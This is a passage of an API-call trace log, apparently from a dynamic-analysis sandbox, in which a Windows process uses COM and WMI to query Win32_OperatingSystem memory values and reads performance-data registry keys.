Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1d2ddd40 | out: ppvObject=0x1d2ddd40*=0x4f3b80) returned 0x0 [0289.980] WbemDefPath:IUnknown:AddRef (This=0x4f3b80) returned 0x3 [0289.980] WbemDefPath:IUnknown:Release (This=0x4f3b80) returned 0x2 [0289.980] WbemDefPath:IWbemPath:SetText (This=0x4f3b80, uMode=0x4, pszPath="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"") returned 0x0 [0289.980] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1d2f1310, puCount=0x1d2de0f8 | out: puCount=0x1d2de0f8*=0x2) returned 0x0 [0289.980] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de0f0*=0x0, pszText=0x0 | out: puBuffLength=0x1d2de0f0*=0xf, pszText=0x0) returned 0x0 [0289.980] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de0f0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1d2de0f0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0289.980] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1d2f1310, puCount=0x1d2de0c8 | out: puCount=0x1d2de0c8*=0x2) returned 0x0 [0289.980] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de0c0*=0x0, pszText=0x0 | out: puBuffLength=0x1d2de0c0*=0xf, pszText=0x0) returned 0x0 [0289.980] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de0c0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1d2de0c0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0289.980] IWbemClassObject:Get (in: This=0x1b348b00, wszName="FreePhysicalMemory", lFlags=0, pVal=0x1d2de080*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28cd6e0*=0, plFlavor=0x28cd6e4*=0 | out: pVal=0x1d2de080*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="1395304", varVal2=0x0), pType=0x28cd6e0*=21, plFlavor=0x28cd6e4*=0) returned 0x0 [0289.980] SysStringByteLen (bstr="1395304") returned 0xe [0289.980] SysStringByteLen (bstr="1395304") returned 0xe [0289.980] IWbemClassObject:Get (in: This=0x1b348b00, wszName="FreePhysicalMemory", lFlags=0, pVal=0x1d2de0d0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28cd6e0*=21, plFlavor=0x28cd6e4*=0 | out: pVal=0x1d2de0d0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="1395304", varVal2=0x0), pType=0x28cd6e0*=21, plFlavor=0x28cd6e4*=0) returned 0x0 [0289.980] SysStringByteLen (bstr="1395304") returned 0xe [0289.980] SysStringByteLen (bstr="1395304") returned 0xe [0289.981] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1d2f1310, puCount=0x1d2de0c8 | out: puCount=0x1d2de0c8*=0x2) returned 0x0 [0289.981] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de0c0*=0x0, pszText=0x0 | out: puBuffLength=0x1d2de0c0*=0xf, pszText=0x0) returned 0x0 [0289.981] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de0c0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1d2de0c0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0289.981] IWbemClassObject:Get (in: This=0x1b348b00, wszName="TotalVisibleMemorySize", lFlags=0, pVal=0x1d2de080*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28cd8d8*=0, plFlavor=0x28cd8dc*=0 | out: pVal=0x1d2de080*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="2096620", varVal2=0x0), pType=0x28cd8d8*=21, plFlavor=0x28cd8dc*=0) returned 0x0 [0289.981] SysStringByteLen (bstr="2096620") returned 0xe [0289.981] SysStringByteLen (bstr="2096620") returned 0xe [0289.981] IWbemClassObject:Get (in: This=0x1b348b00, wszName="TotalVisibleMemorySize", lFlags=0, pVal=0x1d2de0d0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28cd8d8*=21, plFlavor=0x28cd8dc*=0 | out: pVal=0x1d2de0d0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="2096620", varVal2=0x0), pType=0x28cd8d8*=21, plFlavor=0x28cd8dc*=0) returned 0x0 [0289.981] SysStringByteLen (bstr="2096620") returned 0xe [0289.981] SysStringByteLen (bstr="2096620") returned 0xe [0289.981] CoGetContextToken (in: pToken=0x1d2dded0 | out: pToken=0x1d2dded0) returned 0x0 [0289.981] WbemLocator:IUnknown:Release (This=0x1b351388) returned 0x1 [0289.981] IUnknown:Release (This=0x1d35c4e0) returned 0x0 [0291.992] GetTickCount64 () returned 0xabfb6a [0291.993] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="238", lpReserved=0x0, lpType=0x1d2ddf88, lpData=0x0, lpcbData=0x1d2ddf80*=0x0 | out: lpType=0x1d2ddf88*=0x3, lpData=0x0, lpcbData=0x1d2ddf80*=0x0) returned 0xea [0291.994] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="238", lpReserved=0x0, lpType=0x1d2ddf88, lpData=0x29e2bc8, lpcbData=0x1d2ddf78*=0xfde8 | out: lpType=0x1d2ddf88*=0x3, lpData=0x29e2bc8*, lpcbData=0x1d2ddf78*=0x438) returned 0x0 [0291.996] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="234", lpReserved=0x0, lpType=0x1d2ddf88, lpData=0x0, lpcbData=0x1d2ddf80*=0x0 | out: lpType=0x1d2ddf88*=0x3, lpData=0x0, lpcbData=0x1d2ddf80*=0x0) returned 0xea [0291.996] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="234", lpReserved=0x0, lpType=0x1d2ddf88, lpData=0x29f3fe0, lpcbData=0x1d2ddf78*=0xfde8 | out: lpType=0x1d2ddf88*=0x3, lpData=0x29f3fe0*, lpcbData=0x1d2ddf78*=0xea8) returned 0x0 [0292.000] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1d2f1310, puCount=0x1d2de258 | out: puCount=0x1d2de258*=0x2) returned 0x0 [0292.000] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de250*=0x0, pszText=0x0 | out: puBuffLength=0x1d2de250*=0xf, pszText=0x0) returned 0x0 [0292.000] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de250*=0xf, pszText="00000000000000" | out: puBuffLength=0x1d2de250*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0292.000] CoGetObjectContext (in: riid=0x24b1de8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1d2de1d8 | out: ppv=0x1d2de1d8*=0x4b0108) returned 0x0 [0292.001] IComThreadingInfo:GetCurrentApartmentType (in: This=0x4b0108, pAptType=0x1d2de1c8 | out: pAptType=0x1d2de1c8*=1) returned 0x0 [0292.001] IUnknown:QueryInterface (in: This=0x4b0108, riid=0x24b1dc8*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1d2de1d0 | out: ppvObject=0x1d2de1d0*=0x0) returned 0x80004002 [0292.001] IUnknown:Release (This=0x4b0108) returned 0x1 [0292.002] CoGetClassObject (in: rclsid=0x1b2eb4c8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1d2dd898 | out: ppv=0x1d2dd898*=0x1d496ec0) returned 0x0 [0292.002] WbemLocator:IUnknown:QueryInterface (in: This=0x1d496ec0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1d2dd980 | out: ppvObject=0x1d2dd980*=0x0) returned 0x80004002 [0292.002] WbemLocator:IClassFactory:CreateInstance (in: This=0x1d496ec0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd958 | out: ppvObject=0x1d2dd958*=0x1d496f40) returned 0x0 [0292.002] WbemLocator:IUnknown:Release (This=0x1d496ec0) returned 0x0 [0292.002] WbemLocator:IUnknown:QueryInterface (in: This=0x1d496f40, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd700 | out: ppvObject=0x1d2dd700*=0x1d496f40) returned 0x0 [0292.003] WbemLocator:IUnknown:QueryInterface (in: This=0x1d496f40, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1d2dd790 | out: ppvObject=0x1d2dd790*=0x0) returned 0x80004002 [0292.003] WbemLocator:IUnknown:QueryInterface (in: This=0x1d496f40, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1d2dcf88 | out: ppvObject=0x1d2dcf88*=0x0) returned 0x80004002 [0292.003] WbemLocator:IUnknown:AddRef (This=0x1d496f40) returned 0x3 [0292.003] WbemLocator:IUnknown:QueryInterface (in: This=0x1d496f40, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1d2dce48 | out: ppvObject=0x1d2dce48*=0x0) returned 0x80004002 [0292.003] WbemLocator:IUnknown:QueryInterface (in: This=0x1d496f40, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1d2dcdd0 | out: ppvObject=0x1d2dcdd0*=0x0) returned 0x80004002 [0292.003] WbemLocator:IUnknown:QueryInterface (in: This=0x1d496f40, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dcdc0 | out: ppvObject=0x1d2dcdc0*=0x0) returned 0x80004002 [0292.003] CoGetContextToken (in: pToken=0x1d2dce70 | out: pToken=0x1d2dce70) returned 0x0 [0292.003] CoGetContextToken (in: pToken=0x1d2dd2f0 | out: pToken=0x1d2dd2f0) returned 0x0 [0292.003] WbemLocator:IUnknown:QueryInterface (in: This=0x1d496f40, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd3b0 | out: ppvObject=0x1d2dd3b0*=0x0) returned 0x80004002 [0292.003] WbemLocator:IUnknown:Release (This=0x1d496f40) returned 0x2 [0292.003] WbemLocator:IUnknown:Release (This=0x1d496f40) returned 0x1 [0292.003] CoGetContextToken (in: pToken=0x1d2ddd30 | out: pToken=0x1d2ddd30) returned 0x0 [0292.003] CoGetContextToken (in: pToken=0x1d2ddc30 | out: pToken=0x1d2ddc30) returned 0x0 [0292.003] WbemLocator:IUnknown:QueryInterface (in: This=0x1d496f40, riid=0x1d2ddd90*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1d2ddd60 | out: ppvObject=0x1d2ddd60*=0x1d496f40) returned 0x0 [0292.003] WbemLocator:IUnknown:AddRef (This=0x1d496f40) returned 0x3 [0292.003] WbemLocator:IUnknown:Release (This=0x1d496f40) returned 0x2 [0292.003] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1d2f1310, puCount=0x1d2de168 | out: puCount=0x1d2de168*=0x2) returned 0x0 [0292.003] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=8, puBuffLength=0x1d2de160*=0x0, pszText=0x0 | out: puBuffLength=0x1d2de160*=0xf, pszText=0x0) returned 0x0 [0292.003] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=8, puBuffLength=0x1d2de160*=0xf, pszText="00000000000000" | out: puBuffLength=0x1d2de160*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0292.004] CoCreateInstance (in: rclsid=0x7ffa716666a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffa71666708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1d2ddeb0 | out: ppv=0x1d2ddeb0*=0x1d497140) returned 0x0 [0292.004] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1d497140, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1d2de028 | out: ppNamespace=0x1d2de028*=0x1d475770) returned 0x0 [0292.031] WbemLocator:IUnknown:QueryInterface (in: This=0x1d475770, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2ddd28 | out: ppvObject=0x1d2ddd28*=0x1b350980) returned 0x0 [0292.031] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1b350980, pProxy=0x1d475770, pAuthnSvc=0x1d2dddf0, pAuthzSvc=0x1d2ddd70, pServerPrincName=0x1d2ddd98, pAuthnLevel=0x1d2ddd74, pImpLevel=0x1d2ddd80, pAuthInfo=0x1d2ddda8, pCapabilites=0x1d2ddd84 | out: pAuthnSvc=0x1d2dddf0*=0xa, pAuthzSvc=0x1d2ddd70*=0x0, pServerPrincName=0x1d2ddd98, pAuthnLevel=0x1d2ddd74*=0x6, pImpLevel=0x1d2ddd80*=0x2, pAuthInfo=0x1d2ddda8, pCapabilites=0x1d2ddd84*=0x1) returned 0x0 [0292.031] WbemLocator:IUnknown:Release (This=0x1b350980) returned 0x1 [0292.031] WbemLocator:IUnknown:QueryInterface (in: This=0x1d475770, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2ddcc0 | out: ppvObject=0x1d2ddcc0*=0x1b3509c8) returned 0x0 [0292.031] WbemLocator:IUnknown:QueryInterface (in: This=0x1d475770, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2ddcd0 | out: ppvObject=0x1d2ddcd0*=0x1b350980) returned 0x0 [0292.031] WbemLocator:IClientSecurity:SetBlanket (This=0x1b350980, pProxy=0x1d475770, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0292.031] WbemLocator:IUnknown:Release (This=0x1b350980) returned 0x2 [0292.031] WbemLocator:IUnknown:Release (This=0x1b3509c8) returned 0x1 [0292.031] CoTaskMemFree (pv=0x1d4719e0) [0292.031] WbemLocator:IUnknown:Release (This=0x1d497140) returned 0x0 [0292.031] WbemLocator:IUnknown:QueryInterface (in: This=0x1d475770, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd7c0 | out: ppvObject=0x1d2dd7c0*=0x1b3509c8) returned 0x0 [0292.032] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3509c8, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1d2dd850 | out: ppvObject=0x1d2dd850*=0x0) returned 0x80004002 [0292.033] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3509c8, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1d2dd470 | out: ppvObject=0x1d2dd470*=0x0) returned 0x80004002 [0292.033] WbemLocator:IUnknown:QueryInterface (in: This=0x1d475770, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1d2dd048 | out: ppvObject=0x1d2dd048*=0x0) returned 0x80004002 [0292.033] WbemLocator:IUnknown:AddRef (This=0x1b3509c8) returned 0x3 [0292.033] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3509c8, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1d2dcf08 | out: ppvObject=0x1d2dcf08*=0x0) returned 0x80004002 [0292.034] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3509c8, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1d2dce90 | out: ppvObject=0x1d2dce90*=0x0) returned 0x80004002 [0292.034] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3509c8, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dce80 | out: ppvObject=0x1d2dce80*=0x1b3508a8) returned 0x0 [0292.034] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b3508a8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1d2dcea8 | out: pCid=0x1d2dcea8*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0292.034] WbemLocator:IUnknown:Release (This=0x1b3508a8) returned 0x3 [0292.034] CoGetContextToken (in: pToken=0x1d2dcf30 | out: pToken=0x1d2dcf30) returned 0x0 [0292.034] CoGetContextToken (in: pToken=0x1d2dd3b0 | out: pToken=0x1d2dd3b0) returned 0x0 [0292.034] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3509c8, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd470 | out: ppvObject=0x1d2dd470*=0x1b350990) returned 0x0 [0292.034] WbemLocator:IRpcOptions:Query (in: This=0x1b350990, pPrx=0x1b3509c8, dwProperty=2, pdwValue=0x1d2dd460 | out: pdwValue=0x1d2dd460) returned 0x80004002 [0292.034] WbemLocator:IUnknown:Release (This=0x1b350990) returned 0x3 [0292.034] WbemLocator:IUnknown:Release (This=0x1b3509c8) returned 0x2 [0292.034] CoGetContextToken (in: pToken=0x1d2dda70 | out: pToken=0x1d2dda70) returned 0x0 [0292.034] CoGetContextToken (in: pToken=0x1d2dd970 | out: pToken=0x1d2dd970) returned 0x0 [0292.034] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3509c8, riid=0x1d2ddad0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1d2ddaa0 | out: ppvObject=0x1d2ddaa0*=0x1d475770) returned 0x0 [0292.034] WbemLocator:IUnknown:AddRef (This=0x1d475770) returned 0x4 [0292.034] WbemLocator:IUnknown:Release (This=0x1d475770) returned 0x3 [0292.035] WbemLocator:IUnknown:Release (This=0x1d475770) returned 0x2 [0292.035] SysStringLen (param_1=0x0) returned 0x0 [0292.035] CoGetContextToken (in: pToken=0x1d2ddba0 | out: pToken=0x1d2ddba0) returned 0x0 [0292.035] WbemLocator:IUnknown:AddRef (This=0x1b3509c8) returned 0x3 [0292.035] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3509c8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2ddba0 | out: ppvObject=0x1d2ddba0*=0x1b3509c8) returned 0x0 [0292.035] WbemLocator:IUnknown:Release (This=0x1b3509c8) returned 0x3 [0292.035] WbemLocator:IUnknown:Release (This=0x1b3509c8) returned 0x2 [0292.035] CoGetContextToken (in: pToken=0x1d2ddcd0 | out: pToken=0x1d2ddcd0) returned 0x0 [0292.035] WbemLocator:IUnknown:AddRef (This=0x1d475770) returned 0x3 [0292.035] IWbemServices:ExecQuery (in: This=0x1d475770, strQueryLanguage="WQL", strQuery="select * from Win32_OperatingSystem", lFlags=16, pCtx=0x0, ppEnum=0x1d2de178 | out: ppEnum=0x1d2de178*=0x1d35afe0) returned 0x0 [0292.046] IUnknown:QueryInterface (in: This=0x1d35afe0, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dde48 | out: ppvObject=0x1d2dde48*=0x1d35afe8) returned 0x0 [0292.046] IClientSecurity:QueryBlanket (in: This=0x1d35afe8, pProxy=0x1d35afe0, pAuthnSvc=0x1d2ddf10, pAuthzSvc=0x1d2dde90, pServerPrincName=0x1d2ddeb8, pAuthnLevel=0x1d2dde94, pImpLevel=0x1d2ddea0, pAuthInfo=0x1d2ddec8, pCapabilites=0x1d2ddea4 | out: pAuthnSvc=0x1d2ddf10*=0xa, pAuthzSvc=0x1d2dde90*=0x0, pServerPrincName=0x1d2ddeb8, pAuthnLevel=0x1d2dde94*=0x6, pImpLevel=0x1d2ddea0*=0x2, pAuthInfo=0x1d2ddec8, pCapabilites=0x1d2ddea4*=0x1) returned 0x0 [0292.046] IUnknown:Release (This=0x1d35afe8) returned 0x1 [0292.046] IUnknown:QueryInterface (in: This=0x1d35afe0, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2ddde0 | out: ppvObject=0x1d2ddde0*=0x1b351ba8) returned 0x0 [0292.046] IUnknown:QueryInterface (in: This=0x1d35afe0, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dddf0 | out: ppvObject=0x1d2dddf0*=0x1d35afe8) returned 0x0 [0292.046] IClientSecurity:SetBlanket (This=0x1d35afe8, pProxy=0x1d35afe0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0292.057] IUnknown:Release (This=0x1d35afe8) returned 0x2 [0292.057] WbemLocator:IUnknown:Release (This=0x1b351ba8) returned 0x1 [0292.057] CoTaskMemFree (pv=0x1d471da0) [0292.057] IUnknown:QueryInterface (in: This=0x1d35afe0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd8b0 | out: ppvObject=0x1d2dd8b0*=0x1b351ba8) returned 0x0 [0292.058] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351ba8, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1d2dd940 | out: ppvObject=0x1d2dd940*=0x0) returned 0x80004002 [0292.058] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351ba8, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1d2dd560 | out: ppvObject=0x1d2dd560*=0x0) returned 0x80004002 [0292.058] IUnknown:QueryInterface (in: This=0x1d35afe0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1d2dd138 | out: ppvObject=0x1d2dd138*=0x0) returned 0x80004002 [0292.059] WbemLocator:IUnknown:AddRef (This=0x1b351ba8) returned 0x3 [0292.059] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351ba8, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1d2dcff8 | out: ppvObject=0x1d2dcff8*=0x0) returned 0x80004002 [0292.059] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351ba8, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1d2dcf80 | out: ppvObject=0x1d2dcf80*=0x0) returned 0x80004002 [0292.059] 